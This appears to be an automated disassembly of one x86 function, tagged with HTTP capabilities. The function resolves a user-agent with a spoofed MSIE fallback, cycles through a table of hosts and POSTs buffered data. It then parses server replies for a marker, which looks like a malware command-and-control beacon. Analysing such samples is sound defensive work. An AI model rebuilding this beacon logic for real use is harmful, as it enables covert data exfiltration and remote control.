Function at 0x4029a0
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2a0
mov dword [ebp + 0x5c], 0x80
mov eax, dword [ebp + 0x5c]
push eax
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp + 0x5c]
push edx
lea eax, [ebp - 0x28]
push eax
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov ecx, 1
imul edx, ecx, 0
movsx eax, byte [ebp + edx - 0x28]
test eax, eax
jne 0x4029f3
push str.Mozilla_4.0_compatible__MSIE_7.0b__Windows_NT_6.0_
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x407b74], eax
cmp dword [0x407b74], 0
jne 0x402a20
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4029f3
mov dword [ebp + 0x74], 0
mov dword [ebp + 0x70], 0
mov dword [ebp + 0x58], 0
mov dword [ebp + 0x6c], 0
mov eax, 1
test eax, eax
je 0x402c81
mov ecx, dword [ebp + 0x74]
cmp dword [ecx*4 + 0x406648], 0
jne 0x402a6a
mov dword [ebp + 0x74], 0
mov edx, dword [0x407b14]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
mov edx, dword [0x407b74]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0
jne 0x402aa9
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
mov dword [ebp + 0x70], 0
jmp 0x402a3c
push 0
push 0x84200000
push 0
push 0
push 0
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
push str.POST
mov eax, dword [ebp + 0x64]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
jne 0x402af8
mov ecx, dword [ebp + 0x74]
add ecx, 1
mov dword [ebp + 0x74], ecx
mov dword [ebp + 0x70], 0
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x402a3c
cmp dword [ebp + 0x58], 1
jne 0x402b17
cmp dword [ebp + 0x6c], 0
jne 0x402b15
push 0
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
jmp 0x402b2e
cmp dword [ebp + 0x6c], 0
jne 0x402b2e
push 1
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
mov eax, dword [0x407b68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x407b68]
push ecx
push 0xffffffffffffffff
push str.Content_Type:application_x_www_form_urlencoded
mov edx, dword [ebp + 0x60]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x402c26
push 0xff
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
push str.http:___s_s
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xff
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x228]
push ecx
lea edx, [ebp - 0x128]
push edx
call fcn.004027d0
add esp, 8
cmp eax, 1
jne 0x402c1f
lea eax, [ebp - 0x228]
mov dword [ebp + 0x68], eax
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x68]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x402c16
mov eax, dword [ebp + 0x68]
push eax
call fcn.00405970
add esp, 4
mov dword [ebp + 0x70], 1
mov dword [ebp + 0x58], 1
mov dword [ebp + 0x6c], 0
jmp 0x402c1d
mov dword [ebp + 0x70], 0
jmp 0x402c26
mov dword [ebp + 0x70], 0
mov ecx, dword [ebp + 0x60]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp + 0x70], 0
jne 0x402c4b
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
jmp 0x402c7c
mov ecx, dword [0x407b68]
push ecx
push 8
mov edx, dword [0x407b0c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x407afc]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov ecx, dword [0x407af8]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x402a3c
add ebp, 0x78
mov esp, ebp
pop ebp
ret